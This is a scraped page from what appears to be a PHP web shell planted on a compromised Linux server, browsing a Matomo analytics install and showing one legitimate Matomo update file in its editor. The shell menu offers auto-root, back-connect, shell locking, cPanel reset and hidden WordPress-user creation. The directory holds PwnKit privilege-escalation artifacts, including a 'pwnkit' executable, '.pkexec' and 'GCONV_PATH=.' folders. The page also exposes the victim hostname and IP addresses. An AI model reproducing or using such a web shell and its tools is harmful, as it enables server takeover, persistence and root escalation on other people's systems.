Linux dpw.dpwebtech.com 3.10.0-1160.88.1.el7.x86_64 #1 SMP Tue Mar 7 15:41:52 UTC 2023 x86_64
Apache
: 192.232.243.69 | : 18.191.205.190
54 Domain
7.3.33
dpclient
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
dpclient /
public_html /
analytics /
core /
Updates /
[ HOME SHELL ]
Name
Size
Permission
Action
.pkexec
[ DIR ]
drwxr-xr-x
GCONV_PATH=.
[ DIR ]
drwxr-xr-x
.mad-root
0
B
-rw-r--r--
0.2.10.php
2.44
KB
-rw-r--r--
0.2.12.php
1.07
KB
-rw-r--r--
0.2.13.php
1.11
KB
-rw-r--r--
0.2.24.php
1.1
KB
-rw-r--r--
0.2.27.php
3.15
KB
-rw-r--r--
0.2.32.php
1.15
KB
-rw-r--r--
0.2.33.php
1.57
KB
-rw-r--r--
0.2.35.php
842
B
-rw-r--r--
0.2.37.php
1.01
KB
-rw-r--r--
0.4.1.php
958
B
-rw-r--r--
0.4.2.php
1.29
KB
-rw-r--r--
0.4.4.php
704
B
-rw-r--r--
0.4.php
1.46
KB
-rw-r--r--
0.5.4.php
2.18
KB
-rw-r--r--
0.5.5.php
1.62
KB
-rw-r--r--
0.5.php
1.97
KB
-rw-r--r--
0.6-rc1.php
3.76
KB
-rw-r--r--
0.6.3.php
1.48
KB
-rw-r--r--
0.7.php
845
B
-rw-r--r--
0.9.1.php
1.74
KB
-rw-r--r--
1.1.php
1015
B
-rw-r--r--
1.10-b4.php
575
B
-rw-r--r--
1.10.1.php
566
B
-rw-r--r--
1.10.2-b1.php
851
B
-rw-r--r--
1.10.2-b2.php
861
B
-rw-r--r--
1.11-b1.php
574
B
-rw-r--r--
1.12-b1.php
936
B
-rw-r--r--
1.12-b15.php
496
B
-rw-r--r--
1.12-b16.php
841
B
-rw-r--r--
1.2-rc1.php
7.44
KB
-rw-r--r--
1.2-rc2.php
478
B
-rw-r--r--
1.2.3.php
1.57
KB
-rw-r--r--
1.2.5-rc1.php
1.19
KB
-rw-r--r--
1.2.5-rc7.php
836
B
-rw-r--r--
1.4-rc1.php
1017
B
-rw-r--r--
1.4-rc2.php
1.95
KB
-rw-r--r--
1.5-b1.php
2.47
KB
-rw-r--r--
1.5-b2.php
1.4
KB
-rw-r--r--
1.5-b3.php
1.55
KB
-rw-r--r--
1.5-b4.php
832
B
-rw-r--r--
1.5-b5.php
1003
B
-rw-r--r--
1.5-rc6.php
476
B
-rw-r--r--
1.6-b1.php
1.93
KB
-rw-r--r--
1.6-rc1.php
472
B
-rw-r--r--
1.7-b1.php
1.04
KB
-rw-r--r--
1.7.2-rc5.php
934
B
-rw-r--r--
1.7.2-rc7.php
1.77
KB
-rw-r--r--
1.8.3-b1.php
4.55
KB
-rw-r--r--
1.8.4-b1.php
6.8
KB
-rw-r--r--
1.9-b16.php
1.56
KB
-rw-r--r--
1.9-b19.php
1.05
KB
-rw-r--r--
1.9-b9.php
1.83
KB
-rw-r--r--
1.9.1-b2.php
1021
B
-rw-r--r--
1.9.3-b10.php
573
B
-rw-r--r--
1.9.3-b3.php
731
B
-rw-r--r--
1.9.3-b8.php
921
B
-rw-r--r--
2.0-a12.php
1.5
KB
-rw-r--r--
2.0-a13.php
2.75
KB
-rw-r--r--
2.0-a17.php
1.01
KB
-rw-r--r--
2.0-a7.php
1011
B
-rw-r--r--
2.0-b10.php
448
B
-rw-r--r--
2.0-b13.php
1
KB
-rw-r--r--
2.0-b3.php
1.33
KB
-rw-r--r--
2.0-b9.php
922
B
-rw-r--r--
2.0-rc1.php
469
B
-rw-r--r--
2.0.3-b7.php
1.8
KB
-rw-r--r--
2.0.4-b5.php
2.75
KB
-rw-r--r--
2.0.4-b7.php
1.63
KB
-rw-r--r--
2.0.4-b8.php
2.04
KB
-rw-r--r--
2.1.1-b11.php
5.85
KB
-rw-r--r--
2.10.0-b10.php
1.43
KB
-rw-r--r--
2.10.0-b4.php
552
B
-rw-r--r--
2.10.0-b5.php
10.37
KB
-rw-r--r--
2.10.0-b7.php
1.41
KB
-rw-r--r--
2.10.0-b8.php
508
B
-rw-r--r--
2.11.0-b2.php
2.3
KB
-rw-r--r--
2.11.0-b4.php
1.43
KB
-rw-r--r--
2.11.0-b5.php
796
B
-rw-r--r--
2.11.1-b4.php
900
B
-rw-r--r--
2.13.0-b3.php
803
B
-rw-r--r--
2.13.1.php
1.36
KB
-rw-r--r--
2.14.0-b1.php
1.01
KB
-rw-r--r--
2.14.0-b2.php
1.12
KB
-rw-r--r--
2.14.2.php
4.45
KB
-rw-r--r--
2.15.0-b12.php
1.08
KB
-rw-r--r--
2.15.0-b16.php
1.05
KB
-rw-r--r--
2.15.0-b17.php
1.03
KB
-rw-r--r--
2.15.0-b20.php
1010
B
-rw-r--r--
2.15.0-b3.php
854
B
-rw-r--r--
2.15.0.php
795
B
-rw-r--r--
2.16.2-b2.php
686
B
-rw-r--r--
2.16.2-rc2.php
737
B
-rw-r--r--
2.16.3-b1.php
458
B
-rw-r--r--
2.16.3-b2.php
532
B
-rw-r--r--
2.16.3-rc2.php
483
B
-rw-r--r--
2.16.5.php
1.2
KB
-rw-r--r--
2.2.3-b6.php
469
B
-rw-r--r--
2.4.0-b1.php
661
B
-rw-r--r--
2.4.0-b3.php
739
B
-rw-r--r--
2.4.0-b4.php
770
B
-rw-r--r--
2.4.0-b6.php
512
B
-rw-r--r--
2.4.0-b8.php
834
B
-rw-r--r--
2.5.0-b1.php
894
B
-rw-r--r--
2.5.0-rc2.php
1.98
KB
-rw-r--r--
2.5.0-rc4.php
492
B
-rw-r--r--
2.6.0-b1.php
690
B
-rw-r--r--
2.7.0-b2.php
808
B
-rw-r--r--
2.7.0-b4.php
590
B
-rw-r--r--
2.9.0-b1.php
3.03
KB
-rw-r--r--
2.9.0-b7.php
2.02
KB
-rw-r--r--
3.0.0-b1.php
17.12
KB
-rw-r--r--
3.0.0-b3.php
1.78
KB
-rw-r--r--
3.0.0-b4.php
2.48
KB
-rw-r--r--
3.0.1-b1.php
652
B
-rw-r--r--
3.10.0-b2.php
894
B
-rw-r--r--
3.10.0-rc5.php
895
B
-rw-r--r--
3.11.0-b1.php
936
B
-rw-r--r--
3.12.0-b1.php
1.06
KB
-rw-r--r--
3.12.0-b7.php
1005
B
-rw-r--r--
3.13.1-b2.php
1.65
KB
-rw-r--r--
3.13.4-b1.php
567
B
-rw-r--r--
3.13.5-rc1.php
1.42
KB
-rw-r--r--
3.5.0-b2.php
1.92
KB
-rw-r--r--
3.5.0-b4.php
995
B
-rw-r--r--
3.5.0-rc2.php
574
B
-rw-r--r--
3.5.1-b1.php
2
KB
-rw-r--r--
3.6.0-b2.php
4.04
KB
-rw-r--r--
3.6.0-b3.php
1.25
KB
-rw-r--r--
3.6.0-b4.php
1.41
KB
-rw-r--r--
3.6.1-b2.php
942
B
-rw-r--r--
3.6.1-b3.php
910
B
-rw-r--r--
3.7.0-b1.php
976
B
-rw-r--r--
3.8.0-b3.php
2.02
KB
-rw-r--r--
3.8.0-b4.php
1.55
KB
-rw-r--r--
4.0.0-b1.php
14.21
KB
-rw-r--r--
4.0.0-b3.php
1.49
KB
-rw-r--r--
4.0.0-rc3.php
937
B
-rw-r--r--
4.0.0-rc4.php
1.82
KB
-rw-r--r--
4.0.1-b1.php
1.17
KB
-rw-r--r--
4.0.4-b1.php
2.29
KB
-rw-r--r--
4.1.2-b1.php
2.74
KB
-rw-r--r--
4.1.2-b2.php
1.04
KB
-rw-r--r--
4.10.0-b1.php
1.32
KB
-rw-r--r--
4.11.0-b1.php
1.05
KB
-rw-r--r--
4.11.0-rc2.php
3.18
KB
-rw-r--r--
4.12.0-b1.php
1
KB
-rw-r--r--
4.12.0-b2.php
1.17
KB
-rw-r--r--
4.12.0-b3.php
1.52
KB
-rw-r--r--
4.12.0-b4.php
1018
B
-rw-r--r--
4.3.0-b3.php
930
B
-rw-r--r--
4.3.0-b4.php
1.27
KB
-rw-r--r--
4.3.0-rc2.php
930
B
-rw-r--r--
4.4.0-b1.php
914
B
-rw-r--r--
4.5.0-b1.php
882
B
-rw-r--r--
4.6.0-b1.php
852
B
-rw-r--r--
4.6.0-b4.php
4.15
KB
-rw-r--r--
4.6.2-rc2.php
779
B
-rw-r--r--
4.7.0-b2.php
1.76
KB
-rw-r--r--
4.7.1-b1.php
1.38
KB
-rw-r--r--
5.0.0-b1.php
2.52
KB
-rw-r--r--
pwnkit
10.99
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : 2.1.1-b11.php
<?php /** * Matomo - free/libre analytics platform * * @link https://matomo.org * @license http://www.gnu.org/licenses/gpl-3.0.html GPL v3 or later */ namespace Piwik\Updates; use Piwik\ArchiveProcessor\Rules; use Piwik\Common; use Piwik\DataAccess\ArchiveWriter; use Piwik\Date; use Piwik\Db; use Piwik\Plugins\VisitFrequency\API as VisitFrequencyApi; use Piwik\Updater\Migration\Factory as MigrationFactory; use Piwik\Segment; use Piwik\Updater; use Piwik\Updates; /** */ class Updates_2_1_1_b11 extends Updates { /** * @var MigrationFactory */ private $migration; public function __construct(MigrationFactory $factory) { $this->migration = $factory; } public function doUpdate(Updater $updater) { $returningMetrics = array( 'nb_visits_returning', 'nb_actions_returning', 'max_actions_returning', 'sum_visit_length_returning', 'bounce_count_returning', 'nb_visits_converted_returning', 'nb_uniq_visitors_returning' ); $now = Date::factory('now')->getDatetime(); $archiveNumericTables = Db::get()->fetchCol("SHOW TABLES LIKE '%archive_numeric%'"); // for each numeric archive table, copy *_returning metrics to VisitsSummary metrics w/ the appropriate // returning visit segment foreach ($archiveNumericTables as $table) { // get archives w/ *._returning $sql = "SELECT idarchive, idsite, period, date1, date2 FROM $table WHERE name IN ('" . implode("','", $returningMetrics) . "') GROUP BY idarchive"; $idArchivesWithReturning = Db::fetchAll($sql); // get archives for visitssummary returning visitor segment $sql = "SELECT idarchive, idsite, period, date1, date2 FROM $table WHERE name = ? GROUP BY idarchive"; $visitSummaryReturningSegmentDone = Rules::getDoneFlagArchiveContainsOnePlugin( new Segment(VisitFrequencyApi::RETURNING_VISITOR_SEGMENT, $idSites = array()), 'VisitsSummary'); $idArchivesWithVisitReturningSegment = Db::fetchAll($sql, array($visitSummaryReturningSegmentDone)); // collect info for new visitssummary archives have to be created to match archives w/ *._returning // metrics $missingIdArchives = array(); $idArchiveMappings = array(); foreach ($idArchivesWithReturning as $row) { $withMetricsIdArchive = $row['idarchive']; foreach ($idArchivesWithVisitReturningSegment as $segmentRow) { if ($row['idsite'] == $segmentRow['idsite'] && $row['period'] == $segmentRow['period'] && $row['date1'] == $segmentRow['date1'] && $row['date2'] == $segmentRow['date2'] ) { $idArchiveMappings[$withMetricsIdArchive] = $segmentRow['idarchive']; } } if (!isset($idArchiveMappings[$withMetricsIdArchive])) { $missingIdArchives[$withMetricsIdArchive] = $row; } } // if there are missing idarchives, fill out new archive row values if (!empty($missingIdArchives)) { $newIdArchiveStart = Db::fetchOne("SELECT MAX(idarchive) FROM $table") + 1; foreach ($missingIdArchives as $withMetricsIdArchive => &$rowToInsert) { $idArchiveMappings[$withMetricsIdArchive] = $newIdArchiveStart; $rowToInsert['idarchive'] = $newIdArchiveStart; $rowToInsert['ts_archived'] = $now; $rowToInsert['name'] = $visitSummaryReturningSegmentDone; $rowToInsert['value'] = ArchiveWriter::DONE_OK; ++$newIdArchiveStart; } // add missing archives $params = array(); foreach ($missingIdArchives as $missingIdArchive) { $params[] = array_values($missingIdArchive); } $fields = array_keys(reset($missingIdArchives)); $tableUnprefixed = Common::unprefixTable($table); $migration = $this->migration->db->batchInsert($tableUnprefixed, $fields, $params, $throwException = false, $charset = 'latin1'); $updater->executeMigration(__FILE__, $migration); } // update idarchive & name columns in rows with *._returning metrics $updateSqlPrefix = "UPDATE $table SET idarchive = CASE idarchive "; $updateSqlSuffix = " END, name = CASE name "; foreach ($returningMetrics as $metric) { $newMetricName = substr($metric, 0, strlen($metric) - strlen(VisitFrequencyApi::RETURNING_COLUMN_SUFFIX)); $updateSqlSuffix .= "WHEN '$metric' THEN '" . $newMetricName . "' "; } $updateSqlSuffix .= " END WHERE idarchive IN (%s) AND name IN ('" . implode("','", $returningMetrics) . "')"; // update only 1000 rows at a time so we don't send too large an SQL query to MySQL foreach (array_chunk($missingIdArchives, 1000, $preserveKeys = true) as $chunk) { $idArchives = array(); $updateSql = $updateSqlPrefix; foreach ($chunk as $withMetricsIdArchive => $row) { $updateSql .= "WHEN $withMetricsIdArchive THEN {$row['idarchive']} "; $idArchives[] = $withMetricsIdArchive; } $updateSql .= sprintf($updateSqlSuffix, implode(',', $idArchives)); $updater->executeMigration(__FILE__, $this->migration->db->sql($updateSql)); } } } }
Close
